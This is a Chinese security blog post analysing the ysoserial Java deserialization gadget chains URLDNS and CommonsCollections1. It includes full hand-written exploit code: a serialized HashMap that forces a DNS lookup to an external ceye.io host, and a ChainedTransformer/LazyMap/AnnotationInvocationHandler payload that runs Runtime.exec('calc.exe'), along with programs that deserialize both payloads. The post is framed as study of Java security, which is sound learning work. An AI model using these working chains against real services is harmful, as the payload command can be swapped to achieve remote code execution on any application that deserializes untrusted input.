java反序列化-ysoserial-调试分析总结篇(1)

2019/04/10 10:10
阅读数 61

前言:

ysoserial很强大,花时间好好研究研究其中的利用链对于了解java语言的一些特性很有帮助,也方便打好学习java安全的基础,刚学反序列化时就分析过commoncollections,但是是跟着网上教程,自己理解也不够充分,现在重新根据自己的调试进行理解,这篇文章先分析URLDNS和commonCollections1

利用链分析:

1.urldns

 

调用链如上图所示,由hashmap的key进行hash计算时,如果key为URL类的对象,则调用key.hashcode实际为调用了URL类对象的hashcode,从而触发dns解析,这个手写exp也比较容易,设置hashCode为1为了putval时候重新计算hash,否则直接返回hashCode就触发不了dns解析了

到这里将触发调用URL类的hashCode

 

exp.java:

package URLDNS;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Arrays;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        HashMap<URL, String> obj = new HashMap<URL, String>();
        String url = "http://p9tdlo.ceye.io";
        URL a_url = new URL(url);
        Class clazz = Class.forName("java.net.URL");
        Field field = null;
        field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(a_url,-1);
        obj.put(a_url,"tr1ple");
        //
        //序列化
        //
        FileOutputStream fo = new FileOutputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/urldns.ser");
        ObjectOutputStream obj_out = new ObjectOutputStream(fo);
        obj_out.writeObject(obj);
        obj_out.close();


        ByteArrayOutputStream  bo = new ByteArrayOutputStream();
        ObjectOutputStream bo_obj = new ObjectOutputStream(bo);
        bo_obj.writeObject(obj);
        bo_obj.close();
        String bo_str = Arrays.toString(bo.toByteArray());
        System.out.println("serialize byte code");
        System.out.println(bo_str);
    }

}

read.java

package URLDNS;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class ReadObj {
    public static void  main(String[] args) throws IOException, ClassNotFoundException {
   // System.out.println(System.getProperty("user.dir")+"/javasec-ysoserial/src/resources/4.ser");
        ObjectInputStream o = new ObjectInputStream(new FileInputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/resources/urldns.ser"));
        o.readObject();

    }
}

2.commonCollections1

 调用链如上图所示

 反序列化首先从invokecationhandler的readObject开始

 然后调用lazymap的readObject

这里是因为构造payload的时候,实际上将proxy.newinstance创建的proxy代理类传进handler,那么实际上反序列化的时候根据序列化数据的排列顺序,应该首先调用外层invokecationhandler的readObject,然后调用内部成员变量的readObject

 原因正是在反序列化正常的流程中,defaultReadFields方法,读取序列化数据,其入口参数即外部的对象,以及该对象的类

 在该函数内部将读取外层对象的域,并依次将其反序列化,所以这里实际上invocationhandler只是一个容器作用,将实际要反序列化的代理proxy放进去,然后就会调用proxy的readObject(),然后恢复代理的lazpmap,包括后面还要进行hashmap的readObject(lazymap作为容器将其装进去),恢复hashmap

 将所有对象还原后,在invokecationhandler的readObject中将调用memerValues.entrySet,而我们知道被装进容器的是被代理的lazymap类,此时调用proxy代理的entrySet,那么此时将触发代理类的invoke函数

 此时将handler中不存在entryset,此时将调用lazymap.get(“entrySet”)

 在get函数中将调用this.factory.transform,而此时this.factory为定义的用于执行命令的转换链

在chained转换链中,将循环调用属性iTranformers中的transformer方法

 第一次:

第一次调用ConstantTransformer类,将直接返回iConstant

 

 而此时即返回类Runtime

第二次: 

第二次循环进来即调用invokeTransformer来反射调用方法,并且返回object,并且这里面的方法名,和参数都是可控的,因此才能够在这里定义rce的命令,能够找到这种能够利用的类真的是牛逼。。

 

 那么反射先拿到java.lang.class ,按道理拿到类Runtime,就可以直接反射getRunme方法,这里拿到getMethod方法,然后再反射调用Runtime的getMethod拿到getRuntime方法

第三次:

 这里实际上就是反射调用getRuntime了,此时将返回Runtime类的实例

第4轮:

此时已经有了Runtime类的实例,就可以调用exec执行命令了

 此时将RCE执行clac.exe

 

 

了解完整个触发以及调用过程就可以手写exp了,方便加深对该利用链的认识

手写exp:

 exp.java

package CommonsCollections1;
import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.Runtime;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
//import sun.reflect.annotation.AnnotationInvocationHandler;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;

public class exp {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
      final Transformer[] trans = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}
                        ),//拿到getruntime方法
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),//拿到runtime类
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"calc.exe"})//rce
      };

      final Transformer chained = new ChainedTransformer(trans);
      final Map innerMap = new HashMap();
      final Map outMap = LazyMap.decorate(innerMap,chained);

      final Constructor<?> han_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
      han_con.setAccessible(true);
      InvocationHandler han = (InvocationHandler) han_con.newInstance(Override.class,outMap);

      final Map mapProxy = (Map)Proxy.newProxyInstance(exp.class.getClassLoader(),outMap.getClass().getInterfaces(),han);


      final Constructor<?> out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
      out_con.setAccessible(true);
      InvocationHandler out =(InvocationHandler) out_con.newInstance(Override.class,mapProxy);

      FileOutputStream fo = new FileOutputStream(new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser"));
      ObjectOutputStream obj = new ObjectOutputStream(fo);
      obj.writeObject(out);
      obj.close();
    }
}

readObj.java

package CommonsCollections1;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.Runtime;

//jdk<=8u71
//
public class readObj {
    public static void main(String[] args) throws IOException {
        FileInputStream fi = new FileInputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser");
        ObjectInputStream  obj_in = new ObjectInputStream(fi);
        try {
            obj_in.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

原文出处:https://www.cnblogs.com/tr1ple/p/12378269.html

展开阅读全文
打赏
0
0 收藏
分享
加载中
更多评论
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部